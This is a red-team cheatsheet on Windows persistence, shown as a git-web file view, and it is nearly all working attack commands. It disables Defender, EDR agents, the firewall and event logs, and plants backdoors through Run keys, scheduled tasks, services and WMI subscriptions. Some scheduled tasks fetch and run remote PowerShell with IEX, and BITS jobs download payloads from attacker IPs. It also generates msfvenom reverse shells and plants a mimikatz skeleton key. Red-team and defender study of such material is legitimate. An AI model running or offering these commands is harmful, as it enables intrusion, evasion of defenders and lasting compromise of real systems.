daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

windows-persistence.md (31929B)


      1 ---
      2 title: "Windows - Persistence"
      3 section: "Red Team"
      4 sectionSlug: "redteam"
      5 sourcePath: "docs/redteam/persistence/windows-persistence.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/redteam/persistence/windows-persistence.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Windows - Persistence
     12 
     13 ## Summary
     14 
     15 * [Tools](#tools)
     16 * [Hide Your Binary](#hide-your-binary)
     17 * [Disable Antivirus and Security](#disable-antivirus-and-security)
     18     * [Antivirus Removal](#antivirus-removal)
     19     * [Disable Windows Defender](#disable-windows-defender)
     20     * [Disable Windows Firewall](#disable-windows-firewall)
     21     * [Clear System and Security Logs](#clear-system-and-security-logs)
     22 * [Simple User](#simple-user)
     23     * [Registry HKCU](#registry-hkcu)
     24     * [Startup](#startup)
     25     * [Scheduled Tasks User](#scheduled-tasks-user)
     26     * [BITS Jobs](#bits-jobs)
     27 * [Serviceland](#serviceland)
     28     * [IIS](#iis)
     29     * [Windows Service](#windows-service)
     30 * [Elevated](#elevated)
     31     * [Registry HKLM](#registry-hklm)
     32         * [Winlogon Helper DLL](#winlogon-helper-dll)
     33         * [GlobalFlag](#globalflag)
     34     * [Startup Elevated](#startup-elevated)
     35     * [Services Elevated](#services-elevated)
     36     * [Service Security Descriptor](#servicesecuritydescriptor)
     37     * [Scheduled Tasks Elevated](#scheduled-tasks-elevated)
     38     * [Binary Replacement](#binary-replacement)
     39         * [Binary Replacement on Windows XP+](#binary-replacement-on-windows-xp)
     40         * [Binary Replacement on Windows 10+](#binary-replacement-on-windows-10)
     41     * [Skeleton Key](#skeleton-key)
     42     * [Virtual Machines](#virtual-machines)
     43     * [Windows Subsystem for Linux](#windows-subsystem-for-linux)
     44 * [Domain](#domain)
     45     * [Golden Certificate](#golden-certificate)
     46     * [Golden Ticket](#golden-ticket)
     47 * [References](#references)
     48 
     49 ## Tools
     50 
     51 * [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
     52 
     53 ## Hide Your Binary
     54 
     55 > Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
     56 
     57 ```ps1
     58 PS> attrib +h mimikatz.exe
     59 ```
     60 
     61 ## Disable Antivirus and Security
     62 
     63 ### Antivirus Removal
     64 
     65 * [Sophos Removal Tool.ps1](https://github.com/ayeskatalas/Sophos-Removal-Tool/)
     66 * [Symantec CleanWipe](https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html)
     67 * [Elastic EDR/Security](https://www.elastic.co/guide/en/fleet/current/uninstall-elastic-agent.html)
     68 
     69     ```ps1
     70     cd "C:\Program Files\Elastic\Agent\"
     71     PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstall
     72     Elastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:Y
     73     Elastic Agent has been uninstalled.
     74     ```
     75 
     76 * [Cortex XDR](https://mrd0x.com/cortex-xdr-analysis-and-bypass/)
     77 
     78     ```ps1
     79     # Global uninstall password: Password1
     80     Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db
     81     Look for PasswordHash, PasswordSalt or password, salt strings.
     82 
     83     # Disable Cortex: Change the DLL to a random value, then REBOOT
     84     reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters /t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f
     85 
     86     # Disables the agent on startup (requires reboot to work)
     87     cytool.exe startup disable
     88 
     89     # Disables protection on Cortex XDR files, processes, registry and services
     90     cytool.exe protect disable
     91 
     92     # Disables Cortex XDR (Even with tamper protection enabled)
     93     cytool.exe runtime disable
     94 
     95     # Disables event collection
     96     cytool.exe event_collection disable
     97     ```
     98 
     99 ### Disable Windows Defender
    100 
    101 ```powershell
    102 # Disable Defender
    103 sc config WinDefend start= disabled
    104 sc stop WinDefend
    105 Set-MpPreference -DisableRealtimeMonitoring $true
    106 
    107 ## Exclude a process / location
    108 Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
    109 Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    110 Add-MpPreference -ExclusionPath C:\Video, C:\install
    111 
    112 # Disable scanning all downloaded files and attachments, disable AMSI (reactive)
    113 PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
    114 PS C:\> Set-MpPreference -DisableIOAVProtection $true
    115 # Disable AMSI (set to 0 to enable)
    116 PS C:\> Set-MpPreference -DisableScriptScanning 1 
    117 
    118 # Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
    119 reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    120 
    121 # Wipe currently stored definitions
    122 # Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
    123 MpCmdRun.exe -RemoveDefinitions -All
    124 
    125 # Remove signatures (if Internet connection is present, they will be downloaded again):
    126 PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
    127 PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    128 
    129 # Disable Windows Defender Security Center
    130 reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
    131 
    132 # Disable Real Time Protection
    133 reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    134 reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    135 reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    136 ```
    137 
    138 ### Disable Windows Firewall
    139 
    140 ```powershell
    141 Netsh Advfirewall show allprofiles
    142 NetSh Advfirewall set allprofiles state off
    143 
    144 # ip whitelisting
    145 New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
    146 ```
    147 
    148 ### Clear System and Security Logs
    149 
    150 ```powershell
    151 cmd.exe /c wevtutil.exe cl System
    152 cmd.exe /c wevtutil.exe cl Security
    153 ```
    154 
    155 ## Simple User
    156 
    157 Set a file as hidden
    158 
    159 ```powershell
    160 attrib +h c:\autoexec.bat
    161 ```
    162 
    163 ### Registry HKCU
    164 
    165 Create a `REG_SZ` value in the `Run` key within `HKCU\Software\Microsoft\Windows`.
    166 
    167 ```powershell
    168 Value name:  Backdoor
    169 Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
    170 ```
    171 
    172 * Using the command line
    173 
    174     ```powershell
    175     reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
    176     reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
    177     reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
    178     reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
    179     ```
    180 
    181 * Using [mandiant/SharPersist](https://github.com/mandiant/SharPersist)
    182 
    183     ```powershell
    184     SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
    185     SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
    186     SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
    187     ```
    188 
    189 #### Persistence via NTUSER.MAN
    190 
    191 Directly modifying `HKCU` for persistence (e.g., `Run` keys) is noisy and commonly detected by modern EDR solutions. A lesser-known alternative is to pre-seed the user’s registry hive offline by abusing `NTUSER.MAN`, which Windows treats as a mandatory profile.
    192 
    193 When a user logs in, Windows loads their registry hive from disk. If an `NTUSER.MAN` file is present instead of (or alongside) `NTUSER.DAT`, Windows loads the hive as read-only and applies its contents verbatim—without generating the usual registry modification telemetry.
    194 
    195 Instead of editing the live registry:
    196 
    197 1. Export the target user’s `HKCU` hive
    198 
    199    * Via `reg export HKCU exported.reg`
    200    * Using a BOF-based approach to avoid spawning `reg.exe`.
    201 
    202 2. Modify the exported registry data offline
    203 
    204    * Add or change persistence mechanisms (e.g., `Run` keys).
    205 
    206 3. Convert the modified `.reg` file into a binary hive
    207 
    208    * Use [praetorian-inc/swarmer](https://github.com/praetorian-inc/swarmer) to generate a valid `NTUSER.MAN`.
    209 
    210 4. Drop the resulting `NTUSER.MAN` into the user’s profile directory
    211 
    212    * `%USERPROFILE%\NTUSER.MAN`
    213 
    214 Example:
    215 
    216 ```powershell
    217 swarmer.exe --startup-key "Updater" --startup-value "C:\Path\To\payload.exe" exported.reg NTUSER.MAN
    218 ```
    219 
    220 On the next logon, Windows loads this hive automatically, establishing persistence without touching the live registry.
    221 
    222 **Mandatory profile side effects**
    223 Creating an `NTUSER.MAN` converts the user profile into a mandatory profile. Any registry or profile changes made during the session are discarded at logoff and will not persist across logins.
    224 
    225 **Immutability without elevation**
    226 Once deployed, the hive is effectively immutable. Modifying or removing the persistence requires deleting `NTUSER.MAN`, which typically necessitates administrative privileges.
    227 
    228 **Login-time loading only**
    229 The hive is loaded exclusively during user logon. Changes to `NTUSER.MAN` have no effect until the user fully logs out and logs back in.
    230 
    231 **Limited scope**
    232 This technique applies only to the user registry hive (HKCU). It does not impact machine-wide settings (HKLM) and provides per-user persistence only.
    233 
    234 ### Startup
    235 
    236 Create a batch script in the user startup folder: `%AppData%`
    237 
    238 ```powershell
    239 PS C:\> gc C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
    240 start /b C:\Users\Username\AppData\Local\Temp\backdoor.exe
    241 ```
    242 
    243 Using SharPersist
    244 
    245 ```powershell
    246 SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
    247 ```
    248 
    249 ### Scheduled Tasks User
    250 
    251 * Using native **schtask** - Create a new task
    252 
    253     ```powershell
    254     # Create the scheduled tasks to run once at 00.00
    255     schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
    256     # Force run it now !
    257     schtasks /run /tn "Device-Synchronize"
    258     ```
    259 
    260 * Using native **schtask** - Leverage the `schtasks /change` command to modify existing scheduled tasks
    261 
    262     ```powershell
    263     # Launch an executable by calling the ShellExec_RunDLL function.
    264     SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
    265     ```
    266 
    267 * Using Powershell
    268 
    269     ```powershell
    270     PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
    271     PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
    272     PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
    273     PS C:\> $S = New-ScheduledTaskSettingsSet
    274     PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
    275     PS C:\> Register-ScheduledTask Backdoor -InputObject $D
    276     ```
    277 
    278 * Using SharPersist
    279 
    280     ```powershell
    281     # Add to a current scheduled task
    282     SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
    283 
    284     # Add new task
    285     SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
    286     SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
    287     ```
    288 
    289 ### BITS Jobs
    290 
    291 ```powershell
    292 bitsadmin /create backdoor
    293 bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe"  "C:\tmp\evil.exe"
    294 
    295 # v1
    296 bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
    297 bitsadmin /SetMinRetryDelay "backdoor" 60
    298 bitsadmin /resume backdoor
    299 
    300 # v2 - exploit/multi/script/web_delivery
    301 bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
    302 bitsadmin /resume backdoor
    303 ```
    304 
    305 ### COM TypeLib
    306 
    307 * [CICADA8-Research/TypeLibWalker](https://github.com/CICADA8-Research/TypeLibWalker) - TypeLib persistence technique
    308 
    309 Use [sysinternals/procmon](https://learn.microsoft.com/fr-fr/sysinternals/downloads/procmon) to find `RegOpenKey` with the status `NAME NOT FOUND`. The process `explorer.exe` is a good target, as it will spawn your payload every time it is run.
    310 
    311 ```ps1
    312 Path: HKCU\Software\Classes\TypeLib\{CLSID}\1.1\0\win32
    313 Path: HKCU\Software\Classes\TypeLib\{CLSID}\1.1\0\win64
    314 Name: anything
    315 Type: REG_SZ
    316 Value: script:C:\1.sct
    317 ```
    318 
    319 Example of content for `1.sct`.
    320 
    321 ```xml
    322 <?xml version="1.0"?>
    323 <scriptlet>
    324     <registration
    325         description="explorer"
    326         progid="explorer"
    327         version="1.0"
    328         classid="{66666666-6666-6666-6666-666666666666}"
    329         remotable="true">
    330     </registration>
    331     <script language="JScript">
    332         <![CDATA[
    333             var WShell = new ActiveXObject("WScript.Shell");
    334             WShell.Run("calc.exe");
    335         ]]>
    336     </script>
    337 </scriptlet>
    338 ```
    339 
    340 ## Serviceland
    341 
    342 ### IIS
    343 
    344 IIS Raid – Backdooring IIS Using Native Modules
    345 
    346 ```powershell
    347 $ git clone https://github.com/0x09AL/IIS-Raid
    348 $ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
    349 C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
    350 ```
    351 
    352 ### Windows Service
    353 
    354 Using SharPersist
    355 
    356 ```powershell
    357 SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
    358 ```
    359 
    360 ## Elevated
    361 
    362 ### Registry HKLM
    363 
    364 Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
    365 
    366 ```powershell
    367 Value name:  Backdoor
    368 Value data:  C:\Windows\Temp\backdoor.exe
    369 ```
    370 
    371 Using the command line
    372 
    373 ```powershell
    374 reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
    375 reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
    376 reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
    377 reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
    378 ```
    379 
    380 #### Winlogon Helper DLL
    381 
    382 > Run executable during Windows logon
    383 
    384 ```powershell
    385 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
    386 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll
    387 
    388 reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
    389 reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
    390 Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
    391 Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
    392 ```
    393 
    394 #### GlobalFlag
    395 
    396 > Run executable after notepad is killed
    397 
    398 ```powershell
    399 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
    400 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
    401 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
    402 ```
    403 
    404 ### Startup Elevated
    405 
    406 Create a batch script in the `ProgramData` startup folder.
    407 
    408 ```powershell
    409 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 
    410 ```
    411 
    412 ### Services Elevated
    413 
    414 Create a service that will start automatically or on-demand.
    415 
    416 ```powershell
    417 # Powershell
    418 New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
    419 sc start Backdoor
    420 
    421 # SharPersist
    422 SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add
    423 
    424 # sc
    425 sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
    426 sc start Backdoor
    427 ```
    428 
    429 ### ServiceSecurityDescriptor
    430 
    431 Allow any arbitrary non-administrative user to have full SYSTEM permissions on a machine persistently by feeding an overly permissive ACL to the service control manager with sdset.
    432 
    433 **Exploit**:
    434 
    435 ```ps1
    436 sc.exe sdset <ServiceName> <ServiceSecurityDescriptor>
    437 ```
    438 
    439 The following command grants full control (`Key Access`) over the Service Control Manager to all users (represented by `WD`, which stands for "World"). In other words, it allows any user to start, stop, modify, or control services through the Service Control Manager, which can be a security risk as it opens service management to everyone on the system.
    440 
    441 ```ps1
    442 sc.exe sdset scmanager D:(A;;KA;;;WD)
    443 ```
    444 
    445 * `sc.exe`: The Service Control (sc) command is a Windows utility used for managing services.
    446 * `sdset`: This option sets a Security Descriptor (SD) for a service or the Service Control Manager itself. A security descriptor defines permissions and access rights to system resources.
    447 * `scmanager`: This is the target, referring to the Service Control Manager, which manages the services in the system.
    448 
    449 The `ServiceSecurityDescriptor` is defined using the Service Descriptor Definition Language (SDDL).
    450 
    451 List the permissions for `scmanager`
    452 
    453 ```ps1
    454 sc.exe sdshow scmanager
    455 ```
    456 
    457 Alternatively, you can use [zacateras/sddl-parser](https://github.com/zacateras/sddl-parser) to understand the Security Descriptor Definition Language (SDDL), e.g: `./Sddl.Parser.Console.exe "O:BAG:BAD:(A;CI;CCDCRP;;;NS)"`.
    458 
    459 Abuse the weaken configuration to create a service that grants administrator privilege to a custom user `user_basic`.
    460 
    461 ```ps1
    462 sc create LPE displayName= "LPE" binPath= "C:\Windows\System32\net.exe localgroup Administrators user_basic /add" start= auto
    463 ```
    464 
    465 Then you need to wait for a reboot for the service to automatically start and grant the user with elevated privilege or any persistence mechanism you specified in the `binPath`.
    466 
    467 ### Scheduled Tasks Elevated
    468 
    469 Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
    470 
    471 > Processes spawned as scheduled tasks have taskeng.exe process as their parent
    472 
    473 ```powershell
    474 # Powershell
    475 $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
    476 $T = New-ScheduledTaskTrigger -Daily -At 9am
    477 # OR
    478 $T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
    479 $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
    480 $S = New-ScheduledTaskSettingsSet
    481 $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
    482 Register-ScheduledTask "Backdoor" -InputObject $D
    483 
    484 # Native schtasks
    485 schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
    486 schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
    487 schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]
    488 
    489 ##(X86) - On User Login
    490 schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
    491  
    492 ##(X86) - On System Start
    493 schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
    494  
    495 ##(X86) - On User Idle (30mins)
    496 schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
    497  
    498 ##(X64) - On User Login
    499 schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
    500  
    501 ##(X64) - On System Start
    502 schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
    503  
    504 ##(X64) - On User Idle (30mins)
    505 schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
    506 ```
    507 
    508 ### Windows Management Instrumentation Event Subscription
    509 
    510 > An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
    511 
    512 * **__EventFilter**: Trigger (new process, failed logon etc.)
    513 * **EventConsumer**: Perform Action (execute payload etc.)
    514 * **__FilterToConsumerBinding**: Binds Filter and Consumer Classes
    515 
    516 ```ps1
    517 # Using CMD : Execute a binary 60 seconds after Windows started
    518 wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    519 wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe"
    520 wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\""
    521 # Remove it
    522 Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose
    523 
    524 # Using Powershell (deploy)
    525 $FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"};
    526 $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
    527 $ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";}
    528 $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
    529 $FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
    530 $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
    531 # Using Powershell (remove)
    532 $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'"
    533 $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'"
    534 $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
    535 $FilterConsumerBindingToCleanup | Remove-WmiObject
    536 $EventConsumerToCleanup | Remove-WmiObject
    537 $EventFilterToCleanup | Remove-WmiObject
    538 ```
    539 
    540 ### Binary Replacement
    541 
    542 #### Binary Replacement on Windows XP+
    543 
    544 | Feature             | Executable                            |
    545 |---------------------|---------------------------------------|
    546 | Sticky Keys         | C:\Windows\System32\sethc.exe         |
    547 | Accessibility Menu  | C:\Windows\System32\utilman.exe       |
    548 | On-Screen Keyboard  | C:\Windows\System32\osk.exe           |
    549 | Magnifier           | C:\Windows\System32\Magnify.exe       |
    550 | Narrator            | C:\Windows\System32\Narrator.exe      |
    551 | Display Switcher    | C:\Windows\System32\DisplaySwitch.exe |
    552 | App Switcher        | C:\Windows\System32\AtBroker.exe      |
    553 
    554 In Metasploit : `use post/windows/manage/sticky_keys`
    555 
    556 #### Binary Replacement on Windows 10+
    557 
    558 Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.
    559 
    560 Create a malicious **HID.dll** in  `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
    561 
    562 ### Skeleton Key
    563 
    564 > Inject a master password into the LSASS process of a Domain Controller.
    565 
    566 **Requirements**:
    567 
    568 * Domain Administrator (SeDebugPrivilege) or `NTAUTHORITY\SYSTEM`
    569 
    570 **Exploitation**:
    571 
    572 ```powershell
    573 # Execute the skeleton key attack
    574 mimikatz "privilege::debug" "misc::skeleton"
    575 Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
    576 
    577 # Access using the password "mimikatz"
    578 Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
    579 ```
    580 
    581 ### Virtual Machines
    582 
    583 > Based on the Shadow Bunny technique.
    584 
    585 ```ps1
    586 # download virtualbox
    587 Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe
    588 
    589 # perform a silent install and avoid creating desktop and quick launch icons
    590 VirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0
    591 
    592 # in \Program Files\Oracle\VirtualBox\VBoxManage.exe
    593 # Disabling notifications
    594 .\VBoxManage.exe setextradata global GUI/SuppressMessages "all" 
    595 
    596 # Download the Virtual machine disk
    597 Copy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd
    598 
    599 # Create a new VM
    600 $vmname = "IT Recovery"
    601 .\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register
    602 
    603 # Add a network card in NAT mode
    604 .\VBoxManage.exe modifyvm $vmname --ioapic on  # required for 64bit
    605 .\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128
    606 .\VBoxManage.exe modifyvm $vmname --nic1 nat
    607 .\VBoxManage.exe modifyvm $vmname --audio none
    608 .\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga
    609 .\VBoxManage.exe modifyvm $vmname --description "Shadowbunny"
    610 
    611 # Mount the VHD file
    612 .\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata
    613 .\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd" -port 0
    614 
    615 # Start the VM
    616 .\VBoxManage.exe startvm $vmname –type headless 
    617 
    618 
    619 # optional - adding a shared folder
